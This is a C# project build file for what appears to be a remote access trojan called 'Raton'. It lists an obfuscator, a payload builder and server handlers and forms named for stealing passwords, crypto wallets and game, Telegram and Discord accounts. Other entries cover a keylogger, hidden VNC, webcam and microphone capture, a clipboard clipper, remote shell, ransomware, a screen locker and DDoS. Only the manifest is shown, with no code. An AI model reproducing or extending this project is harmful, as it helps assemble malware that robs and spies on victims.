<Reference Include="DiscordRPC">
|
||||
<HintPath>lib\DiscordRPC.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="FastColoredTextBox">
|
||||
<HintPath>lib\FastColoredTextBox.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="GMap.NET.Core">
|
||||
<HintPath>lib\GMap.NET.Core.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="GMap.NET.WindowsPresentation">
|
||||
<HintPath>lib\GMap.NET.WindowsPresentation.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="MessagePackLib">
|
||||
<HintPath>lib\MessagePackLib.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="Microsoft.Bcl.AsyncInterfaces, Version=10.0.0.5, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
|
||||
<HintPath>packages\Microsoft.Bcl.AsyncInterfaces.10.0.5\lib\net462\Microsoft.Bcl.AsyncInterfaces.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="Microsoft.CSharp" />
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="Mono.Cecil">
|
||||
<HintPath>lib\Mono.Cecil.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="NAudio.Core">
|
||||
<HintPath>lib\NAudio.Core.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="NAudio.WinMM">
|
||||
<HintPath>lib\NAudio.WinMM.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="Newtonsoft.Json">
|
||||
<HintPath>lib\Newtonsoft.Json.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="PresentationCore" />
|
||||
<Reference Include="PresentationFramework" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Buffers, Version=4.0.5.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
|
||||
<HintPath>packages\System.Buffers.4.6.1\lib\net462\System.Buffers.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.IO.Pipelines, Version=10.0.0.5, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
|
||||
<HintPath>packages\System.IO.Pipelines.10.0.5\lib\net462\System.IO.Pipelines.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.Memory, Version=4.0.5.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
|
||||
<HintPath>packages\System.Memory.4.6.3\lib\net462\System.Memory.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.Net.Http" />
|
||||
<Reference Include="System.Numerics" />
|
||||
<Reference Include="System.Numerics.Vectors, Version=4.1.6.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>packages\System.Numerics.Vectors.4.6.1\lib\net462\System.Numerics.Vectors.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.Runtime.CompilerServices.Unsafe, Version=6.0.3.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>packages\System.Runtime.CompilerServices.Unsafe.6.1.2\lib\net462\System.Runtime.CompilerServices.Unsafe.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.Text.Encodings.Web, Version=10.0.0.5, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
|
||||
<HintPath>packages\System.Text.Encodings.Web.10.0.5\lib\net462\System.Text.Encodings.Web.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.Text.Json, Version=10.0.0.5, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
|
||||
<HintPath>packages\System.Text.Json.10.0.5\lib\net462\System.Text.Json.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.Threading.Tasks.Extensions, Version=4.2.4.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
|
||||
<HintPath>packages\System.Threading.Tasks.Extensions.4.6.3\lib\net462\System.Threading.Tasks.Extensions.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xaml" />
|
||||
<Reference Include="System.Xml" />
|
||||
<Reference Include="Vestris.ResourceLib">
|
||||
<HintPath>lib\Vestris.ResourceLib.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="WindowsBase" />
|
||||
<Reference Include="dnlib">
|
||||
<HintPath>lib\dnlib.dll</HintPath>
|
||||
</Reference>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Program.cs" />
|
||||
<Compile Include="AGObfuscator.cs" />
|
||||
<Compile Include="CountryLocation.cs" />
|
||||
<Compile Include="StoredClient.cs" />
|
||||
<Compile Include="ClientStorage.cs" />
|
||||
<Compile Include="TagStorage.cs" />
|
||||
<Compile Include="UpdateChecker.cs" />
|
||||
<Compile Include="UserData.cs" />
|
||||
<Compile Include="HandleClient.cs" />
|
||||
<Compile Include="HandlePacket.cs" />
|
||||
<Compile Include="HandlePreview.cs" />
|
||||
<Compile Include="HandleRegistry.cs" />
|
||||
<Compile Include="HandleScreen.cs" />
|
||||
<Compile Include="AudioDispatch.cs" />
|
||||
<Compile Include="AudioPlayer.cs" />
|
||||
<Compile Include="ManifestHelper.cs" />
|
||||
<Compile Include="RgbBuildButton.cs">
|
||||
<SubType>Component</SubType>
|
||||
</Compile>
|
||||
<Compile Include="TextBoxButton.cs">
|
||||
<SubType>Component</SubType>
|
||||
</Compile>
|
||||
<Compile Include="RateCalculator.cs" />
|
||||
<Compile Include="Listen.cs" />
|
||||
<Compile Include="CustomControls\CustomSwitch.cs">
|
||||
<SubType>Component</SubType>
|
||||
</Compile>
|
||||
<Compile Include="RatonAccessTool\Controls\AeroListView.cs">
|
||||
<SubType>Component</SubType>
|
||||
</Compile>
|
||||
<Compile Include="RatonAccessTool\Helpers\ControlExtensions.cs" />
|
||||
<Compile Include="RatonRAT\Handlers\FileTransfer\HandleDownload.cs" />
|
||||
<Compile Include="Server\Connection\SillyClient.cs" />
|
||||
<Compile Include="Server\Helper\Methods.cs" />
|
||||
<Compile Include="Server\Handlers\HandleUpload.cs" />
|
||||
<Compile Include="Server\Handlers\HandleUploadACK.cs" />
|
||||
<Compile Include="Server\Handlers\HandleAnydesk.cs" />
|
||||
<Compile Include="Server\Handlers\HandleChat.cs" />
|
||||
<Compile Include="Server\Handlers\HandleClipboard.cs" />
|
||||
<Compile Include="Server\Handlers\HandleShell.cs" />
|
||||
<Compile Include="Server\Handlers\HandleCrypto.cs" />
|
||||
<Compile Include="Server\Handlers\HandleDeviceManager.cs" />
|
||||
<Compile Include="Server\Handlers\HandleDiscord.cs" />
|
||||
<Compile Include="Server\Handlers\HandleEpic.cs" />
|
||||
<Compile Include="Server\Handlers\HandleFileSearch.cs" />
|
||||
<Compile Include="Server\Handlers\HandleFirefox.cs" />
|
||||
<Compile Include="Server\Handlers\HandleGeo.cs" />
|
||||
<Compile Include="Server\Handlers\HandleHost.cs" />
|
||||
<Compile Include="Server\Handlers\HandleHVNC.cs" />
|
||||
<Compile Include="Server\Handlers\HandleInfo.cs" />
|
||||
<Compile Include="Server\Handlers\HandleKeylogger.cs" />
|
||||
<Compile Include="Server\Handlers\HandleFileManager.cs" />
|
||||
<Compile Include="Server\Handlers\HandleMicrophone.cs" />
|
||||
<Compile Include="Server\Handlers\HandleMinecraft.cs" />
|
||||
<Compile Include="Server\Handlers\HandleMullvad.cs" />
|
||||
<Compile Include="Server\Handlers\HandlePasswords.cs" />
|
||||
<Compile Include="Server\Handlers\HandlePortManager.cs" />
|
||||
<Compile Include="Server\Handlers\HandleProcessManager.cs" />
|
||||
<Compile Include="Server\Handlers\HandleRDP.cs" />
|
||||
<Compile Include="Server\Handlers\HandleDesktop.cs" />
|
||||
<Compile Include="Server\Handlers\HandleRiot.cs" />
|
||||
<Compile Include="Server\Handlers\HandleRoblox.cs" />
|
||||
<Compile Include="Server\Handlers\HandleSteam.cs" />
|
||||
<Compile Include="Server\Handlers\HandleMicrophoneSystem.cs" />
|
||||
<Compile Include="Server\Handlers\HandleTelegram.cs" />
|
||||
<Compile Include="Server\Handlers\HandleWebcam.cs" />
|
||||
<Compile Include="Server\Handlers\HandleWifi.cs" />
|
||||
<Compile Include="Server\Handlers\HandleXbox.cs" />
|
||||
<Compile Include="Server\Classes\ResourceModifier.cs" />
|
||||
<Compile Include="WpfApp1\FavoritePicker.cs" />
|
||||
<Compile Include="WpfApp1\FriendItem.cs" />
|
||||
<Compile Include="WpfApp1\FriendsWindow.cs" />
|
||||
<Compile Include="WpfApp1\ShareLinkDialog.cs" />
|
||||
<Compile Include="WpfApp1\App.cs" />
|
||||
<Compile Include="WpfApp1\DarkMenuRenderer.cs" />
|
||||
<Compile Include="WpfApp1\DarkColorTable.cs" />
|
||||
<Compile Include="WpfApp1\StatsUpdater.cs" />
|
||||
<Compile Include="WpfApp1\LogType.cs" />
|
||||
<Compile Include="WpfApp1\LogEntry.cs" />
|
||||
<Compile Include="WpfApp1\ClientRow.cs" />
|
||||
<Compile Include="WpfApp1\ScreenTile.cs" />
|
||||
<Compile Include="WpfApp1\MainWindow.cs" />
|
||||
<Compile Include="WpfApp1\SearchDialog.cs" />
|
||||
<Compile Include="WpfApp1\Windows\Port.cs" />
|
||||
<Compile Include="DarkModeForms\DarkModeCS.cs" />
|
||||
<Compile Include="DarkModeForms\OSThemeColors.cs" />
|
||||
<Compile Include="DarkModeForms\MyRenderer.cs" />
|
||||
<Compile Include="DarkModeForms\CustomColorTable.cs" />
|
||||
<Compile Include="DarkModeForms\ControlStatusStorage.cs" />
|
||||
<Compile Include="DarkModeForms\ControlStatusInfo.cs" />
|
||||
<Compile Include="DarkModeForms\Messenger.cs" />
|
||||
<Compile Include="DarkModeForms\MsgIcon.cs" />
|
||||
<Compile Include="DarkModeForms\KeyValue.cs" />
|
||||
<Compile Include="DarkModeForms\Base64Image.cs" />
|
||||
<Compile Include="DarkModeForms\Base64Icons.cs" />
|
||||
<Compile Include="DarkModeForms\FlatComboBox.cs">
|
||||
<SubType>Component</SubType>
|
||||
</Compile>
|
||||
<Compile Include="DarkModeForms\FlatProgressBar.cs">
|
||||
<SubType>Component</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Properties\Resources.cs" />
|
||||
<Compile Include="Raton\Properties\Settings.cs" />
|
||||
<Compile Include="Raton\Windows\About.cs" />
|
||||
<Compile Include="Raton\Windows\Builder.cs" />
|
||||
<Compile Include="Raton\Windows\ExceptionWindow.cs" />
|
||||
<Compile Include="Raton\Windows\ClientFolderItem.cs" />
|
||||
<Compile Include="Raton\Windows\ClientFolders.cs" />
|
||||
<Compile Include="Raton\Windows\StringExtensions.cs" />
|
||||
<Compile Include="Raton\Windows\CreditEntry.cs" />
|
||||
<Compile Include="Raton\Windows\Credits.cs" />
|
||||
<Compile Include="Raton\Windows\Games.cs" />
|
||||
<Compile Include="Raton\Windows\Notification.cs" />
|
||||
<Compile Include="Raton\Windows\PluginTutorial.cs" />
|
||||
<Compile Include="Raton\Windows\PreviewEntry.cs" />
|
||||
<Compile Include="Raton\Windows\Preview.cs" />
|
||||
<Compile Include="Raton\Windows\Settings.cs" />
|
||||
<Compile Include="Raton\Windows\TaskItem.cs" />
|
||||
<Compile Include="Raton\Windows\Tasks.cs" />
|
||||
<Compile Include="Raton\Windows\ToolFileItem.cs" />
|
||||
<Compile Include="Raton\Windows\Tools.cs" />
|
||||
<Compile Include="Raton\RatonForms\PluginTextbox.cs">
|
||||
<SubType>Component</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\RatonForms\ConsoleTextBox.cs">
|
||||
<SubType>Component</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\RatonForms\BlockWindow.cs" />
|
||||
<Compile Include="Raton\Handlers\HandleInstalledPrograms.cs" />
|
||||
<Compile Include="Raton\Handlers\HandleServices.cs" />
|
||||
<Compile Include="Raton\Forms\DDOS.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ratonCMD.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\Notes.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\RatonPlugins.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Stealers\ratonAnyDesk.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Stealers\ratonCrypto.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Stealers\ratonEpic.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Stealers\ratonFileEx.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Stealers\ratonMullvad.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Stealers\ratonRiot.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Stealers\ratonSteam.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Stealers\ratonTelegram.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Stealers\ratonWifi.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Stealers\ratonXbox.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Monitor\ratonChat.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Monitor\ratonClipper.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Monitor\ratonDesktop.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Monitor\ratonDevice.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Monitor\ratonFIleManager.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Monitor\ratonGPS.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Monitor\ratonHVNC.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Monitor\ratonInformation.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Monitor\ratonInstalledPrograms.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Monitor\ratonKeylogger.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Monitor\RatonPI.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Monitor\ratonPorts.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Monitor\ratonProcess.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Monitor\ratonReg.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Monitor\ratonServices.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Monitor\ratonShell.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Monitor\ratonWebcam.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Monitor\ratonWindows.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Misc\ratonClipboard.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Misc\ratonDrawing.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Misc\DrawStroke.cs" />
|
||||
<Compile Include="Raton\Forms\ClientForms\Misc\ratonExecuteCode.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Misc\ratonFIle.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Misc\ratonHosts.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Misc\ratonMessageBox.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Misc\ratonNotepad.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Misc\ratonNotify.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Misc\ratonRansomware.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Misc\ratonScreenLocker.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Misc\ratonUpload.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Misc\ratonURL.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Dialogs\askGame.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Dialogs\selectFriend.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Dialogs\shareHost.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Dialogs\inputDialog.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Dialogs\loginClient.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Dialogs\proxyDialog.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Compilers\ratonCS.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Audio\ratonAudio.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Audio\ratonMicrophone.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Audio\ratonSystemRecording.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Forms\ClientForms\Audio\ratonVolume.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Raton\Classes\DarkMode.cs" />
|
||||
<Compile Include="Raton\Classes\DeviceManager.cs" />
|
||||
<Compile Include="RatonBack\BackendClient.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Resource Include="assets\avatars\360.png" />
|
||||
<Resource Include="assets\avatars\deloads.png" />
|
||||
<Resource Include="assets\avatars\moom.png" />
|
||||
<Resource Include="assets\avatars\mouzer.png" />
|
||||
<Resource Include="assets\avatars\nyan.png" />
|
||||
<Resource Include="assets\avatars\plikan.jpg" />
|
||||
<Resource Include="assets\avatars\serotonine.jpg" />
|
||||
<Resource Include="assets\avatars\unknow.png" />
|
||||
<Resource Include="assets\avatars\vignesh.jpg" />
|
||||
<Resource Include="assets\avatars\yups.png" />
|
||||
<Resource Include="assets\rata.ico" />
|
||||
<Resource Include="assets\rata.png" />
|
||||
<Resource Include="rata.ico" />
|
||||
<Resource Include="windows\ratonicon1.png" />
|
||||
<Resource Include="windows\video_2026-01-22_22-50-30.gif" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Audio\ratonAudio.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Audio\ratonMicrophone.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Audio\ratonSystemRecording.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Audio\ratonVolume.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Compilers\ratonCS.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Dialogs\askGame.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Dialogs\inputDialog.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Dialogs\loginClient.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Dialogs\proxyDialog.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Dialogs\selectFriend.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Dialogs\shareHost.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Misc\ratonClipboard.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Misc\ratonDrawing.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Misc\ratonExecuteCode.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Misc\ratonFIle.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Misc\ratonHosts.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Misc\ratonMessageBox.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Misc\ratonNotepad.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Misc\ratonNotify.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Misc\ratonRansomware.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Misc\ratonScreenLocker.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Misc\ratonUpload.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Misc\ratonURL.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Monitor\ratonChat.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Monitor\ratonClipper.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Monitor\ratonDesktop.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Monitor\ratonDevice.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Monitor\ratonFIleManager.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Monitor\ratonGPS.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Monitor\ratonHVNC.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Monitor\ratonInformation.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Monitor\ratonInstalledPrograms.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Monitor\ratonKeylogger.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Monitor\RatonPI.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Monitor\ratonPorts.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Monitor\ratonProcess.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Monitor\ratonReg.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Monitor\ratonServices.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Monitor\ratonShell.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Monitor\ratonWebcam.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Monitor\ratonWindows.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Stealers\ratonAnyDesk.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Stealers\ratonCrypto.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Stealers\ratonEpic.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Stealers\ratonFileEx.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Stealers\ratonMullvad.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Stealers\ratonRiot.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Stealers\ratonSteam.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Stealers\ratonTelegram.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Stealers\ratonWifi.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ClientForms\Stealers\ratonXbox.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\DDOS.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\Notes.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\ratonCMD.resx" />
|
||||
<EmbeddedResource Include="Raton\Forms\RatonPlugins.resx" />
|
||||
<EmbeddedResource Include="Raton\Properties\Resources.resx" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Page Include="mainwindow.xaml">
|
||||
<Generator>MSBuild:Compile</Generator>
|
||||
<SubType>Designer</SubType>
|
||||
</Page>
|
||||
<Page Include="windows\about.xaml">
|
||||
<Generator>MSBuild:Compile</Generator>
|
||||
<SubType>Designer</SubType>
|
||||
</Page>
|
||||
<Page Include="windows\blockwindow.xaml">
|
||||
<Generator>MSBuild:Compile</Generator>
|
||||
<SubType>Designer</SubType>
|
||||
</Page>
|
||||
<Page Include="windows\builder.xaml">
|
||||
<Generator>MSBuild:Compile</Generator>
|
||||
<SubType>Designer</SubType>
|
||||
</Page>
|
||||
<Page Include="windows\clientfolders.xaml">
|
||||
<Generator>MSBuild:Compile</Generator>
|
||||
<SubType>Designer</SubType>
|
||||
</Page>
|
||||
<Page Include="windows\credits.xaml">
|
||||
<Generator>MSBuild:Compile</Generator>
|
||||
<SubType>Designer</SubType>
|
||||
</Page>
|
||||
<Page Include="windows\exceptionwindow.xaml">
|
||||
<Generator>MSBuild:Compile</Generator>
|
||||
<SubType>Designer</SubType>
|
||||
</Page>
|
||||
<Page Include="windows\friends.xaml">
|
||||
<Generator>MSBuild:Compile</Generator>
|
||||
<SubType>Designer</SubType>
|
||||
</Page>
|
||||
<Page Include="windows\games.xaml">
|
||||
<Generator>MSBuild:Compile</Generator>
|
||||
<SubType>Designer</SubType>
|
||||
</Page>
|
||||
<Page Include="windows\notification.xaml">
|
||||
<Generator>MSBuild:Compile</Generator>
|
||||
<SubType>Designer</SubType>
|
||||
</Page>
|
||||
<Page Include="windows\plugintutorial.xaml">
|
||||
<Generator>MSBuild:Compile</Generator>
|
||||
<SubType>Designer</SubType>
|
||||
</Page>
|
||||
<Page Include="windows\port.xaml">
|
||||
<Generator>MSBuild:Compile</Generator>
|
||||
<SubType>Designer</SubType>
|
||||
</Page>
|
||||
<Page Include="windows\preview.xaml">
|
||||
<Generator>MSBuild:Compile</Generator>
|
||||
<SubType>Designer</SubType>
|
||||
</Page>
|
||||
<Page Include="windows\settings.xaml">
|
||||
<Generator>MSBuild:Compile</Generator>
|
||||
<SubType>Designer</SubType>
|
||||
</Page>
|
||||
<Page Include="windows\tasks.xaml">
|
||||
<Generator>MSBuild:Compile</Generator>
|
||||
<SubType>Designer</SubType>
|
||||
</Page>
|
||||
<Page Include="windows\tools.xaml">
|
||||
<Generator>MSBuild:Compile</Generator>
|
||||
<SubType>Designer</SubType>
|
||||
</Page>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="packages.config" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
<Import Project="packages\System.ValueTuple.4.6.1\build\net471\System.ValueTuple.targets" Condition="Exists('packages\System.ValueTuple.4.6.1\build\net471\System.ValueTuple.targets')" />
|
||||
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
|
||||
<PropertyGroup>
|
||||
<ErrorText>Данный проект ссылается на пакеты NuGet, отсутствующие на этом компьютере. Используйте восстановление пакетов NuGet, чтобы скачать их. Дополнительную информацию см. по адресу: http://go.microsoft.com/fwlink/?LinkID=322105. Отсутствует следующий файл: {0}.</ErrorText>
|
||||
</PropertyGroup>
|
||||
